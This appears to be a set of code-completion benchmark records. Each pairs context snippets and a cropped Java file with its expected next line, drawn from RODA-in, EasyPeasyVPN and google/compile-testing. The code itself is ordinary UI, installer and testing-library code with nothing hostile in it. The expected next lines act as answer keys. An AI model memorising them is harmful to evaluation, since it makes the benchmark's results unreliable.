getChildren().remove(item);\n mapped.remove(item);\n ignored.remove(item);\n files.remove(item);\n }\n\n /**\n * Moves the children with the wrong state to the correct collection.\n *\n * <p>\n * The normal items in the mapped collection are moved to the children\n * collection.\n * </p>\n *\n * <p>\n * If the mapped items are hidden, moves the mapped items in the children\n * collection to the mapped collection.\n * </p>\n * <p>\n * If the ignored items are hidden, moves the ignored items in the children\n * collection to the ignored collection.\n * </p>\n */\n public synchronized void moveChildrenWrongState() {\n Platform.runLater(() -> {\n Set<SourceTreeItem> toRemove = new HashSet<>();\n boolean modified = false;\n // Move NORMAL items from the mapped set\n for (SourceTreeItem sti : mapped) {\n if (sti.getState() == PathState.NORMAL) {\n toRemove.add(sti);\n getChildren().add(sti);\n }\n }\n mapped.removeAll(toRemove);\n // Move NORMAL items from the ignored set\n for (SourceTreeItem sti : ignored) {\n if (sti.getState() == PathState.NORMAL) {\n toRemove.add(sti);\n getChildren().add(sti);\n }\n }\n ignored.removeAll(toRemove);\n\n if (!toRemove.isEmpty())\n modified = true;\n\n if (!FileExplorerPane.isShowMapped()) {\n toRemove = new HashSet<>();\n for (TreeItem ti : getChildren()) {\n SourceTreeItem sti = (SourceTreeItem) ti;\n if (sti.getState() == PathState.MAPPED || sti instanceof SourceTreeLoadMore) {\n toRemove.add(sti);\n mapped.add(sti);\n }\n }\n getChildren().removeAll(toRemove);\n }\n if (!FileExplorerPane.isShowIgnored()) {\n toRemove = new HashSet<>();\n for (TreeItem ti : getChildren()) {\n SourceTreeItem sti = (SourceTreeItem) ti;\n if (sti.getState() == PathState.IGNORED || sti instanceof SourceTreeLoadMore) {\n toRemove.add(sti);\n ignored.add(sti);\n }\n }\n getChildren().removeAll(toRemove);\n }\n if (!toRemove.isEmpty() || modified)\n sortChildren();\n });\n }\n\n private void addToWatcher() {\n // 20170308 hsilva: disabled watchservice\n // try {\n // if (watchKey == null) {\n // watchKey = directory.getPath().register(FileExplorerPane.watcher,\n // ENTRY_CREATE, ENTRY_DELETE);\n // }\n // } catch (IOException e) {\n // LOGGER.warn(\"Can't register path to watcher. Will be unable to update the\n // directory: \" + directory.getPath(), e);\n // }\n }\n}", "public class SourceTreeFile extends SourceTreeItem {\n public static final Image fileImage = new Image(ClassLoader.getSystemResourceAsStream(Constants.RSC_ICON_FILE));\n public static final Image exportFileImage = new Image(ClassLoader.getSystemResourceAsStream(Constants.RSC_ICON_FILE_EXPORT));\n // this stores the full path to the file\n private String fullPath;\n\n private Rule rule;\n\n /**\n * Creates a new SourceTreeFile object.\n *\n * @param file\n * The path that the new object will represent.\n * @param st\n * The state the new object will have.\n * @param parent\n * The parent item of the new object.\n */\n public SourceTreeFile(Path file, PathState st, SourceTreeDirectory parent) {\n this(file, parent);\n state = st;\n this.parent = parent;\n }\n\n /**\n * Creates a new SourceTreeFile object.\n *\n * @param file\n * The path that the new object will represent.\n * @param parent\n * The parent item of the new object.\n */\n public SourceTreeFile(Path file, SourceTreeDirectory parent) {\n super(file.toString(), parent);\n this.fullPath = file.toString();\n this.setGraphic(new ImageView(fileImage));\n\n // set the value\n if (!fullPath.endsWith(File.separator)) {\n // set the value (which is what is displayed in the tree)\n String value = file.toString();\n int indexOf = value.lastIndexOf(File.separator);\n if (indexOf > 0) {\n this.setValue(value.substring(indexOf + 1));\n } else {\n this.setValue(value);\n }\n }\n\n state = PathCollection.getState(Paths.get(fullPath));\n }\n\n /**\n * Sets the state of the item.\n *\n * @param st\n * The new state.\n */\n @Override\n public void setState(PathState st) {\n if (state != st) {\n state = st;\n }\n }\n\n /**\n * Sets the item as ignored if the current state is NORMAL.\n */\n @Override\n public void addIgnore() {\n if (state == PathState.NORMAL) {\n state = PathState.IGNORED;\n PathCollection.addPath(Paths.get(fullPath), state);\n }\n }\n\n /**\n * Sets the item as mapped if the current state is NORMAL.\n *\n * @param r\n * The rule that created a SIP which maps the item.\n */\n @Override\n public void addMapping(Rule r) {\n rule = r;\n if (state == PathState.NORMAL) {\n state = PathState.MAPPED;\n }\n }\n\n /**\n * Removes the ignored state of the item.\n */\n @Override\n public void removeIgnore() {\n if (state == PathState.IGNORED) {\n state = PathState.NORMAL;\n PathCollection.addPath(Paths.get(fullPath), state);\n }\n }\n\n /**\n * Removes the mapped state of the item\n *\n * @param r\n * The rule that created a SIP which maps the item.\n */\n @Override\n public void removeMapping(Rule r) {\n if (rule == null || r == rule) {\n if (PathCollection.getState(Paths.get(fullPath)) == PathState.MAPPED) {\n state = PathState.NORMAL;\n PathCollection.addPath(Paths.get(fullPath), state);\n }\n }\n }\n\n /**\n * Called when an Observable object is changed.\n *\n * @param o\n * The Observable object.\n * @param arg\n * The arguments sent by the Observable object.\n */\n @Override\n public void update(Observable o, Object arg) {\n if (o instanceof Rule && arg instanceof String && \"Removed rule\".equals(arg)) {\n Rule rul = (Rule) o;\n removeMapping(rul);\n }\n }\n}" ]
import java.nio.file.Path; import java.nio.file.Paths; import org.roda.rodain.core.ConfigurationManager; import org.roda.rodain.core.Constants; import org.roda.rodain.core.Constants.PathState; import org.roda.rodain.core.I18n; import org.roda.rodain.core.shallowSipManager.UriCreator; import org.roda.rodain.ui.source.items.SourceTreeDirectory; import org.roda.rodain.ui.source.items.SourceTreeFile; import org.roda.rodain.ui.source.items.SourceTreeItem; import org.roda.rodain.ui.source.items.SourceTreeLoadMore; import org.roda.rodain.ui.source.items.SourceTreeLoading; import javafx.geometry.Pos; import javafx.scene.control.ContextMenu; import javafx.scene.control.Label; import javafx.scene.control.MenuItem; import javafx.scene.control.TreeCell; import javafx.scene.control.TreeItem; import javafx.scene.image.Image; import javafx.scene.image.ImageView; import javafx.scene.layout.HBox;
package org.roda.rodain.ui.source; /** * @author Andre Pereira apereira@keep.pt * @since 12-10-2015. */ public class SourceTreeCell extends TreeCell<String> { private ContextMenu menu = new ContextMenu(); /** * Instantiates a new SourceTreeCell object. */ public SourceTreeCell() { MenuItem removeIgnore = new MenuItem(I18n.t(Constants.I18N_SOURCE_TREE_CELL_REMOVE)); removeIgnore.setId("removeIgnore"); menu.getItems().add(removeIgnore); removeIgnore.setOnAction(event -> { TreeItem<String> treeItem = getTreeItem(); SourceTreeItem sti = (SourceTreeItem) treeItem; sti.removeIgnore(); // force update String value = treeItem.getValue(); treeItem.setValue(""); treeItem.setValue(value); }); } @Override public void updateItem(String item, boolean empty) { super.updateItem(item, empty); if (!empty) { HBox hbox = new HBox(5); hbox.setAlignment(Pos.CENTER_LEFT); Label lab = new Label(item); Label optionalLabel = null; lab.getStyleClass().add(Constants.CSS_CELLTEXT); lab.setId(""); Image icon = null; // Remove the context menu setContextMenu(null); // Get the correct item TreeItem<String> treeItem = getTreeItem(); SourceTreeItem sti = (SourceTreeItem) treeItem; // if the item is a file and we're not showing files, clear the cell and // return
if (sti instanceof SourceTreeFile && !FileExplorerPane.isShowFiles()) {
5
Hatzen/EasyPeasyVPN
src/main/java/de/hartz/vpn/main/installation/client/ConnectToServerPanel.java
[ "public class RadioButtonWithDescription extends JPanel {\n\n private JRadioButton radioButton;\n private Component descriptionComponent;\n\n public RadioButtonWithDescription(String radioButtonText, String description) {\n this(radioButtonText, description, null);\n }\n\n public RadioButtonWithDescription(String radioButtonText, String description, ActionListener actionListener) {\n this(radioButtonText, getDescriptionLabel(description) , actionListener);\n }\n\n public RadioButtonWithDescription(String radioButtonText, Component descriptionComponent, ActionListener actionListener) {\n this.descriptionComponent = descriptionComponent;\n setLayout(new GridLayout(2,1));\n\n radioButton = new JRadioButton(radioButtonText);\n radioButton.setMaximumSize(new Dimension(radioButton.getWidth(), 50));\n if (actionListener != null) {\n radioButton.addActionListener(actionListener);\n }\n JPanel leftTabulator = new JPanel(new GridLayout());\n leftTabulator.setAlignmentX(LEFT_ALIGNMENT);\n leftTabulator.setBorder(BorderFactory.createEmptyBorder(0, 20, 0, 0));\n\n add(radioButton);\n add(leftTabulator);\n leftTabulator.add(descriptionComponent);\n }\n\n public void setEnabled(boolean enabled) {\n radioButton.setEnabled(enabled);\n setDescriptionComponentEnabled(enabled);\n }\n\n public void setDescriptionComponentEnabled(boolean enabled) {\n setSubComponentsEnabled(descriptionComponent, enabled);\n }\n\n private void setSubComponentsEnabled(Component component,boolean enabled) {\n if (component instanceof JPanel) {\n Component[] components = ((JPanel) component).getComponents();\n\n for (Component c: components) {\n if ( c instanceof JPanel) {\n setSubComponentsEnabled(c, enabled);\n }\n c.setEnabled(enabled);\n }\n }\n component.setEnabled(false);\n }\n\n public void setSelected(boolean selected) {\n radioButton.setSelected(selected);\n }\n\n public void addToGroup(ButtonGroup group) {\n group.add(radioButton);\n }\n\n public boolean isEventSource(Object source) {\n return radioButton == source;\n }\n\n private static JTextArea getDescriptionLabel(String description) {\n JTextArea descriptionLabel = new JTextArea(description);\n descriptionLabel.setWrapStyleWord(true);\n descriptionLabel.setLineWrap(true);\n descriptionLabel.setEditable(false);\n descriptionLabel.setEnabled(false);\n descriptionLabel.setBorder(null);\n descriptionLabel.setOpaque(false);\n descriptionLabel.setFont(new Font(\"Helvetica\", Font.PLAIN, 12));\n\n return descriptionLabel;\n }\n\n}", "public class UserData implements Serializable{\n\n private static UserData instance;\n\n private UserList userList = new UserList();\n private ArrayList<Mediator> mediatorList = new ArrayList<>();\n\n //client only.\n public static String serverIp;\n public static Integer serverPort;\n //END OF: client only.\n\n private boolean clientInstallation = true;\n private ConfigState vpnConfigState;\n\n /**\n * Returns the one and only {@link UserData} object. If one is saved it will loaded.\n * @returns the instance.\n */\n public static UserData getInstance() {\n if (instance == null && !loadUserData()) {\n instance = new UserData();\n }\n return instance;\n }\n\n /**\n * @returns a list of all active users in the vpn.\n */\n public UserList getUserList() {\n return userList;\n }\n\n public ArrayList<Mediator> getMediatorList() {\n return mediatorList;\n }\n\n /**\n * Indicates whether this configuration is server or client one.\n * @returns true if its a client installation.\n */\n public boolean isClientInstallation() {\n return clientInstallation;\n }\n\n public void setClientInstallation(boolean clientInstallation) {\n this.clientInstallation = clientInstallation;\n }\n\n /**\n * Sets the current vpn config state and saves it persistent.\n */\n public ConfigState getVpnConfigState() {\n return vpnConfigState;\n }\n\n /**\n * Sets the current vpn config state and saves it persistent.\n */\n public void setVpnConfigState(ConfigState configState) {\n vpnConfigState = configState;\n writeUserData();\n }\n\n private UserData() {\n if (mediatorList.size() == 0) {\n mediatorList.add(new Mediator(\"DEFAULT\",\"http://hartzkai.freehostia.com/thesis/\", -1, -1, true));\n }\n }\n\n /**\n * Loads an old user data object.\n * @returns true if the data was loaded successfully.\n */\n private static boolean loadUserData() {\n try {\n FileInputStream fin = new FileInputStream(USER_DATA_FILE_PATH);\n ObjectInputStream ois = new ObjectInputStream(fin);\n instance = (UserData) ois.readObject();\n return true;\n } catch (Exception e) {\n // TODO: Check for data version.\n System.out.println(\"UserData not loaded. File does not exist (?)\");\n if (new File(USER_DATA_FILE_PATH).exists())\n e.printStackTrace();\n }\n return false;\n }\n\n /**\n * Saves the current user data object persistent.\n * @returns true if the data was saved successfully.\n */\n private boolean writeUserData() {\n try {\n deleteTempData();\n File configFile = new File(USER_DATA_FILE_PATH);\n configFile.getParentFile().mkdirs();\n configFile.createNewFile();\n FileOutputStream fout = new FileOutputStream(configFile);\n ObjectOutputStream oos = new ObjectOutputStream(fout);\n oos.writeObject(instance);\n return true;\n } catch (Exception e) {\n e.printStackTrace();\n }\n return false;\n }\n\n /**\n * Deletes all data that are cached but should not be persistent.\n */\n private void deleteTempData() {\n userList.clear();\n }\n}", "public class InstallationController {\n\n /**\n * Interface to notify the caller after installation.\n */\n public interface InstallationCallback {\n\n void onInstallationSuccess();\n void onInstallationCanceled();\n\n }\n\n private static InstallationController instance = new InstallationController();\n private InstallationFrame mainFrame;\n private InstallationCallback callback;\n\n private ConfigState tmpConfigState;\n private boolean clientInstallation;\n\n private static boolean hasGUI;\n\n private ArrayList<InstallationPanel> currentPanelOrder;\n private ArrayList<InstallationPanel> clientPanelOrder;\n private ArrayList<InstallationPanel> expressPanelOrder;\n private ArrayList<InstallationPanel> customPanelOrder;\n\n /**\n * Returns the singleton instance of this class\n * @return\n */\n public static InstallationController getInstance() {\n return instance;\n }\n\n /**\n * Getter to see if the user has a graphical UI.\n * @returns true if it is graphical.\n */\n public static boolean hasGUI() {\n return hasGUI;\n }\n\n /**\n * Listener that gets called when the next button was clicked.\n * @param currentPanel The current panel on which the next button was clicked.\n */\n public void onNextClick(InstallationPanel currentPanel) {\n if (currentPanel instanceof StartPanel) {\n currentPanelOrder.clear();\n if (((StartPanel) currentPanel).isExpressInstallation()) {\n currentPanelOrder.addAll(expressPanelOrder);\n } else {\n currentPanelOrder.addAll(customPanelOrder);\n }\n }\n\n showNextPanel(currentPanel);\n }\n\n /**\n * Listener that gets called when the back button was clicked.\n * @param currentPanel\n */\n public void onPreviousClick(JPanel currentPanel) {\n showPreviousPanel(currentPanel);\n }\n\n /**\n * Returns whether a panel is the first panel to show.\n * @param currentPanel The panel to check for.\n * @return\n */\n public boolean isFirst(JPanel currentPanel) {\n return currentPanelOrder.indexOf(currentPanel) == 0;\n }\n\n /**\n * Returns whether a panel is the last panel to show.\n * @param currentPanel The panel to check for.\n * @return\n */\n public boolean isLast(JPanel currentPanel) {\n return currentPanelOrder.indexOf(currentPanel) == currentPanelOrder.size()-1;\n }\n\n /**\n * Starts the installation process.\n * @param showGUI Boolean indicating whether the application is started via console.\n */\n public void startInstallation(boolean showGUI, boolean client, InstallationCallback callback) {\n tmpConfigState = new ConfigState();\n clientInstallation = client;\n hasGUI = showGUI;\n this.callback = callback;\n if (showGUI) {\n // TODO: GUI doesnt react some time. Because of extracting files etc.. Create loading screen. Also might be initalization of all the panels!!\n initGUI();\n\n if(client) {\n System.out.println(\"client installation\");\n currentPanelOrder.clear();\n currentPanelOrder.addAll(clientPanelOrder);\n } else {\n System.out.println(\"server installation\");\n currentPanelOrder.clear();\n currentPanelOrder.addAll(expressPanelOrder);\n }\n\n\n showPanel(0);\n } else {\n drawLogoWithoutGUI();\n if (client)\n new ExpressInstallationPanel().startExternalInstallation();\n }\n }\n\n /**\n * Sets the installation frames visibility. Not possible if it was started without GUI.\n * @param visible Boolean indicating whether the frame should be visible.\n */\n public void setMainFrameVisible(boolean visible) {\n if (!hasGUI)\n return;\n mainFrame.setVisible(visible);\n }\n\n /**\n * Adds a specific panel to the client panel order. After the config file has loaded, so it can decide which adapter to install.\n */\n public void addClientPanel() {\n if (getTmpConfigState().getAdapter() == ConfigState.Adapter.OpenVPN) {\n int i = 0;\n while( i < currentPanelOrder.size()) {\n if (currentPanelOrder.get(i) instanceof ConnectToServerPanel) {\n break;\n }\n i++;\n }\n currentPanelOrder.add(i+1, new ExpressInstallationPanel());\n }\n }\n\n /**\n * Can be called to force going to the next panel.\n * Can produce errors. Should only be called if there is work to be done before going to the next panel.\n */\n public void forceNextPanel(InstallationPanel currentPanel) {\n int nextIndex = currentPanelOrder.indexOf(currentPanel)+1;\n showPanel(nextIndex);\n }\n\n /**\n * Returns the temporarily {@link ConfigState} of the network. After successfull installation it will be moved\n * to {@link UserData}\n * @returns the tmpConfigState.\n */\n public ConfigState getTmpConfigState() {\n return tmpConfigState;\n }\n\n public void setTmpConfigState(ConfigState tmpConfigState) {\n this.tmpConfigState = tmpConfigState;\n }\n\n public boolean isClientInstallation() {\n return clientInstallation;\n }\n\n private void initGUI() {\n hasGUI = true;\n mainFrame = new InstallationFrame(\"installation\");\n mainFrame.setVisible(true);\n\n InstallationPanel startPanel = new StartPanel();\n\n // ClientPanels\n clientPanelOrder.add(new ConnectToServerPanel());\n clientPanelOrder.add(new FinishingPanel());\n\n // ExpressServer Panels\n expressPanelOrder.add(startPanel);\n expressPanelOrder.add(new NetworkNamePanel());\n expressPanelOrder.add(new ExpressInstallationPanel());\n expressPanelOrder.add(new FinishingPanel());\n\n // CustomServer panels\n customPanelOrder.add(startPanel);\n customPanelOrder.add(new ChoosePerformancePanel());\n customPanelOrder.add(new ChooseNetworkType());\n // Anonymisieren?\n // Encryption\n // Authentification Panel (Add user panel)\n // --> Nachirchten, Onlinestatus etc\n // Mediation server\n // How to forward ips / access router\n // \"How secure/ fast is this\" panel\n }\n\n private void showPanel(int index) {\n InstallationPanel panel = currentPanelOrder.get(index);\n panel.onSelect();\n mainFrame.setContent(panel);\n mainFrame.setNextButtonTextToFinish(false);\n mainFrame.setNextEnabled(true);\n mainFrame.setPreviousEnabled(true);\n if (isFirst(panel)) {\n mainFrame.setPreviousEnabled(false);\n }\n if (panel.isFinishingPanel()) {\n mainFrame.setNextButtonTextToFinish(true);\n } else if (isLast(panel)) {\n mainFrame.setNextEnabled(false);\n }\n }\n\n private InstallationController() {\n clientPanelOrder = new ArrayList<>();\n currentPanelOrder = new ArrayList<>();\n expressPanelOrder = new ArrayList<>();\n customPanelOrder = new ArrayList<>();\n }\n\n private void drawLogoWithoutGUI() {\n try {\n BufferedReader in = new BufferedReader(new FileReader(GeneralUtilities.getResourceAsFile(\"icon.txt\")));\n String line = in.readLine();\n while(line != null)\n {\n System.out.println(line);\n line = in.readLine();\n }\n in.close();\n } catch (IOException e) {\n e.printStackTrace();\n }\n try {\n Thread.sleep(1500);\n } catch (InterruptedException e) {\n e.printStackTrace();\n }\n }\n\n private void showNextPanel(InstallationPanel currentPanel) {\n if (currentPanel.isFinishingPanel()) {\n // OnFinish setup config etc.\n UserData.getInstance().setClientInstallation(clientInstallation);\n callback.onInstallationSuccess();\n UserData.getInstance().setVpnConfigState(tmpConfigState);\n mainFrame.dispose();\n }\n\n boolean panelCanBeDeselected = currentPanel.onDeselect();\n if ( !panelCanBeDeselected) {\n return;\n }\n\n if (isLast(currentPanel)) {\n // TODO: Finish installation and start program.\n return;\n }\n int nextIndex = currentPanelOrder.indexOf(currentPanel)+1;\n showPanel(nextIndex);\n }\n\n private void showPreviousPanel(JPanel currentPanel) {\n if (isFirst(currentPanel)) {\n return;\n }\n int nextIndex = currentPanelOrder.indexOf(currentPanel)-1;\n showPanel(nextIndex);\n }\n}", "public abstract class InstallationPanel extends JPanel implements Logger {\n\n public abstract void onSelect();\n\n /**\n *\n * @return boolean indicating whether deselecting is possible.\n */\n public abstract boolean onDeselect();\n\n /**\n * Method indicating whether the panel is the last installation step.\n * @return\n */\n public boolean isFinishingPanel() {\n return false;\n }\n\n public void addLogLine(String line) {\n System.out.println(line);\n }\n}", "public class Mediator implements Serializable {\n\n private String mediatorName;\n private String url;\n // Only needed if mediationserver hosts network specific files.\n private int metaServerPort;\n private int udpHolePunchingPort;\n\n // If true the url is a rest api showing the original ip of the mediator, needed for dynamic ips.\n private boolean redirectFromUrl;\n\n public Mediator(String mediatorName,String url, int metaServerPort, int udpHolePunchingPort, boolean redirectFromUrl) {\n this.mediatorName = mediatorName;\n this.url = url;\n this.metaServerPort = metaServerPort;\n this.udpHolePunchingPort = udpHolePunchingPort;\n this.redirectFromUrl = redirectFromUrl;\n }\n\n public String getMediatorName() {\n return mediatorName;\n }\n\n public int getMetaServerPort() {\n return metaServerPort;\n }\n\n public int getUdpHolePunchingPort() {\n return udpHolePunchingPort;\n }\n\n public boolean isRedirectFromUrl() {\n return redirectFromUrl;\n }\n\n /**\n * Get the real url or ip of the mediator server.\n * @returns the url of the mediator.\n */\n public String getUrl() {\n if (!redirectFromUrl) {\n return url;\n }\n try {\n URL whatIsMyIp = new URL(url);\n BufferedReader in = new BufferedReader(new InputStreamReader(whatIsMyIp.openStream()));\n String ip = in.readLine();\n return ip;\n } catch (IOException e) {\n e.printStackTrace();\n }\n return null;\n }\n}", "public final class Constants {\n\n public static final String SOFTWARE_NAME = \"EasyPeasyVPN\";\n\n\n public static final int MEDIATION_SERVER_PORT = 13267;\n public static final int META_SERVER_PORT = 13268;\n public static final String DEFAULT_CLIENT_NAME = \"DefaultClient\";\n\n public static final String USER_DATA_FILE_PATH = System.getProperty(\"user.home\") + File.separator + \".\" + SOFTWARE_NAME + File.separator + \"userData.ser\";\n\n /**\n * Useful values needed to work with openvpn.\n */\n enum OpenVpnValues {\n CONFIG_FOLDER(\"config\"),\n CONFIG_EXTENSION_LINUX(\".conf\"),\n CONFIG_EXTENSION_WINDOWS(\".ovpn\");\n private String value;\n\n OpenVpnValues(String value) {\n this.value = value;\n }\n\n public String getValue() {\n return value;\n }\n }\n}", "public final class UiUtilities {\n\n /**\n * Shows an error window to inform the user.\n * https://stackoverflow.com/questions/9119481/how-to-present-a-simple-alert-message-in-java\n * @param text The text that will be displayed in the window.\n */\n public static void showAlert(String text) {\n // TODO: Respect show gui and maybe write it to the console.\n Toolkit.getDefaultToolkit().beep();\n JOptionPane optionPane = new JOptionPane(text,JOptionPane.ERROR_MESSAGE);\n JDialog dialog = optionPane.createDialog(\"Error\");\n dialog.setAlwaysOnTop(true);\n dialog.setVisible(true);\n }\n\n /**\n * Sets the icon and look and feel of a jframe. Because its needed at serveral places.\n * @param frame the frame to setup.\n */\n public static void setLookAndFeelAndIcon(JFrame frame) {\n try {\n File file = GeneralUtilities.getResourceAsFile(\"icon.png\");\n Image image = ImageIO.read( file );\n frame.setIconImage(image);\n } catch (IOException | NullPointerException e) {\n e.printStackTrace();\n }\n try {\n UIManager.setLookAndFeel(UIManager.getSystemLookAndFeelClassName());\n } catch (ClassNotFoundException | UnsupportedLookAndFeelException | InstantiationException | IllegalAccessException e) {\n e.printStackTrace();\n }\n }\n\n /**\n * Needed for sizing components.\n * @param component to respect his size.\n * @returns the wrapper to simply add.\n */\n public static JPanel getComponentWrapper(JComponent component) {\n JPanel wrapper = new JPanel();\n wrapper.setLayout(new BoxLayout(wrapper, BoxLayout.Y_AXIS));\n wrapper.add(component);\n return wrapper;\n }\n\n}" ]
import de.hartz.vpn.helper.RadioButtonWithDescription; import de.hartz.vpn.main.UserData; import de.hartz.vpn.main.installation.InstallationController; import de.hartz.vpn.main.installation.InstallationPanel; import de.hartz.vpn.mediation.Mediator; import de.hartz.vpn.utilities.Constants; import de.hartz.vpn.utilities.UiUtilities; import javax.swing.*; import java.awt.*; import java.awt.event.ActionEvent; import java.awt.event.ActionListener; import java.util.ArrayList;
package de.hartz.vpn.main.installation.client; /** * Panel that connects a client to a network. */ public class ConnectToServerPanel extends InstallationPanel implements MetaClient.ClientListener, ActionListener { private JTextField serverAddress; private JTextField serverPort; private boolean successfulConnected = false; private boolean directConnect = false; private RadioButtonWithDescription mediatorChoice; private RadioButtonWithDescription ipChoice; private JTextField networkNameField; private JComboBox mediatorBox; public ConnectToServerPanel() { // TODO: Add mediator connection.. // TODO: Maybe ask 3 options: 1) connect to server 2) (Super express) connect to network via (hardcoded) mediation server 3) connect to network with custom mediation server. setLayout(new BoxLayout(this, BoxLayout.Y_AXIS)); JPanel mediatorConnectionWrapper = new JPanel(); mediatorConnectionWrapper.setLayout(new GridLayout(5, 1)); networkNameField = new JTextField(); networkNameField.setAlignmentX( Component.CENTER_ALIGNMENT ); networkNameField.setMaximumSize( new Dimension( 1000, 30) ); ArrayList<Mediator> mediatorList = UserData.getInstance().getMediatorList(); String[] comboBoxSource = new String[mediatorList.size()+1]; for (int i = 0; i < mediatorList.size(); i++ ) { comboBoxSource[i] = mediatorList.get(i).getMediatorName(); } mediatorBox = new JComboBox(comboBoxSource); mediatorBox.setSelectedIndex(0); mediatorBox.setMaximumSize( new Dimension( 1000, 30) ); JLabel networkNameLabel = new JLabel("Enter a Networkname:"); networkNameLabel.setMaximumSize( new Dimension( 1000, 30) ); JLabel mediatorLabel = new JLabel("Select Mediation server:"); mediatorLabel.setMaximumSize( new Dimension( 1000, 30) );
mediatorConnectionWrapper.add( UiUtilities.getComponentWrapper(networkNameLabel));
6
google/compile-testing
src/main/java/com/google/testing/compile/JavaSourcesSubject.java
[ "public static Subject.Factory<CompilationSubject, Compilation> compilations() {\n return FACTORY;\n}", "public static Compiler javac() {\n return compiler(getSystemJavaCompiler());\n}", "public static JavaSourcesSubjectFactory javaSources() {\n return new JavaSourcesSubjectFactory();\n}", "static ImmutableSet<String> getTopLevelTypes(CompilationUnitTree t) {\n return ImmutableSet.copyOf(nameVisitor.scan(t, null));\n}", "public final class DiagnosticAtColumn extends DiagnosticAssertions {\n\n private final LinesInFile linesInFile;\n private final long line;\n\n private DiagnosticAtColumn(\n DiagnosticAssertions previous,\n LinesInFile linesInFile,\n long line,\n ImmutableList<Diagnostic<? extends JavaFileObject>> diagnosticsOnLine) {\n super(previous, diagnosticsOnLine);\n this.linesInFile = linesInFile;\n this.line = line;\n }\n\n /** Asserts that the note, warning, or error was found at a given column. */\n public void atColumn(final long expectedColumn) {\n if (filterDiagnostics(diagnostic -> diagnostic.getColumnNumber() == expectedColumn)\n .isEmpty()) {\n failExpectingMatchingDiagnostic(\n \" in %s at column %d of line %d, but found it at column(s) %s:\\n%s\",\n linesInFile.fileName(),\n expectedColumn,\n line,\n columnsWithDiagnostics(),\n linesInFile.listLine(line));\n }\n }\n\n private ImmutableSet<String> columnsWithDiagnostics() {\n return mapDiagnostics(\n diagnostic ->\n diagnostic.getColumnNumber() == Diagnostic.NOPOS\n ? \"(no associated position)\"\n : Long.toString(diagnostic.getColumnNumber()))\n .collect(toImmutableSet());\n }\n}", "public final class DiagnosticInFile extends DiagnosticAssertions {\n\n private DiagnosticInFile(\n String expectedDiagnostic,\n Iterable<Diagnostic<? extends JavaFileObject>> diagnosticsWithMessage) {\n super(expectedDiagnostic, diagnosticsWithMessage);\n }\n\n /** Asserts that the note, warning, or error was found in a given file. */\n @CanIgnoreReturnValue\n public DiagnosticOnLine inFile(JavaFileObject expectedFile) {\n return new DiagnosticOnLine(this, expectedFile, findDiagnosticsInFile(expectedFile));\n }\n\n /** Returns the diagnostics that are in the given file. Fails the test if none are found. */\n private ImmutableList<Diagnostic<? extends JavaFileObject>> findDiagnosticsInFile(\n JavaFileObject expectedFile) {\n String expectedFilePath = expectedFile.toUri().getPath();\n ImmutableList<Diagnostic<? extends JavaFileObject>> diagnosticsInFile =\n filterDiagnostics(\n diagnostic -> {\n JavaFileObject source = diagnostic.getSource();\n return source != null && source.toUri().getPath().equals(expectedFilePath);\n });\n if (diagnosticsInFile.isEmpty()) {\n failExpectingMatchingDiagnostic(\n \" in %s, but found it in %s\", expectedFile.getName(), sourceFilesWithDiagnostics());\n }\n return diagnosticsInFile;\n }\n\n private ImmutableSet<String> sourceFilesWithDiagnostics() {\n return mapDiagnostics(\n diagnostic ->\n diagnostic.getSource() == null\n ? \"(no associated file)\"\n : diagnostic.getSource().getName())\n .collect(toImmutableSet());\n }\n}", "public final class DiagnosticOnLine extends DiagnosticAssertions {\n\n private final LinesInFile linesInFile;\n\n private DiagnosticOnLine(\n DiagnosticAssertions previous,\n JavaFileObject file,\n ImmutableList<Diagnostic<? extends JavaFileObject>> diagnosticsInFile) {\n super(previous, diagnosticsInFile);\n this.linesInFile = new LinesInFile(file);\n }\n\n /** Asserts that the note, warning, or error was found on a given line. */\n @CanIgnoreReturnValue\n public DiagnosticAtColumn onLine(long expectedLine) {\n return new DiagnosticAtColumn(\n this, linesInFile, expectedLine, findMatchingDiagnosticsOnLine(expectedLine));\n }\n\n /**\n * Asserts that the note, warning, or error was found on the single line that contains a\n * substring.\n */\n public void onLineContaining(String expectedLineSubstring) {\n findMatchingDiagnosticsOnLine(findLineContainingSubstring(expectedLineSubstring));\n }\n\n /**\n * Returns the single line number that contains an expected substring.\n *\n * @throws IllegalArgumentException unless exactly one line in the file contains {@code\n * expectedLineSubstring}\n */\n private long findLineContainingSubstring(String expectedLineSubstring) {\n // The explicit type arguments below are needed by our nullness checker.\n ImmutableSet<Long> matchingLines =\n Streams.<String, @Nullable Long>mapWithIndex(\n linesInFile.linesInFile().stream(),\n (line, index) -> line.contains(expectedLineSubstring) ? index : null)\n .filter(notNull())\n .map(index -> index + 1) // to 1-based line numbers\n .collect(toImmutableSet());\n checkArgument(\n !matchingLines.isEmpty(),\n \"No line in %s contained \\\"%s\\\"\",\n linesInFile.fileName(),\n expectedLineSubstring);\n checkArgument(\n matchingLines.size() == 1,\n \"More than one line in %s contained \\\"%s\\\":\\n%s\",\n linesInFile.fileName(),\n expectedLineSubstring,\n matchingLines.stream().collect(linesInFile.toLineList()));\n return Iterables.getOnlyElement(matchingLines);\n }\n\n /**\n * Returns the matching diagnostics found on a specific line of the file. Fails the test if none\n * are found.\n *\n * @param expectedLine the expected line number\n */\n @CanIgnoreReturnValue\n private ImmutableList<Diagnostic<? extends JavaFileObject>> findMatchingDiagnosticsOnLine(\n long expectedLine) {\n ImmutableList<Diagnostic<? extends JavaFileObject>> diagnosticsOnLine =\n filterDiagnostics(diagnostic -> diagnostic.getLineNumber() == expectedLine);\n if (diagnosticsOnLine.isEmpty()) {\n failExpectingMatchingDiagnostic(\n \" in %s on line:\\n%s\\nbut found it on line(s):\\n%s\",\n linesInFile.fileName(),\n linesInFile.listLine(expectedLine),\n mapDiagnostics(Diagnostic::getLineNumber).collect(linesInFile.toLineList()));\n }\n return diagnosticsOnLine;\n }\n}", "static final class ParseResult {\n private final ImmutableListMultimap<Diagnostic.Kind, Diagnostic<? extends JavaFileObject>>\n diagnostics;\n private final ImmutableList<? extends CompilationUnitTree> compilationUnits;\n private final Trees trees;\n\n ParseResult(\n ImmutableListMultimap<Diagnostic.Kind, Diagnostic<? extends JavaFileObject>> diagnostics,\n Iterable<? extends CompilationUnitTree> compilationUnits,\n Trees trees) {\n this.trees = trees;\n this.compilationUnits = ImmutableList.copyOf(compilationUnits);\n this.diagnostics = diagnostics;\n }\n\n ImmutableListMultimap<Diagnostic.Kind, Diagnostic<? extends JavaFileObject>>\n diagnosticsByKind() {\n return diagnostics;\n }\n\n ImmutableList<? extends CompilationUnitTree> compilationUnits() {\n return compilationUnits;\n }\n\n Trees trees() {\n return 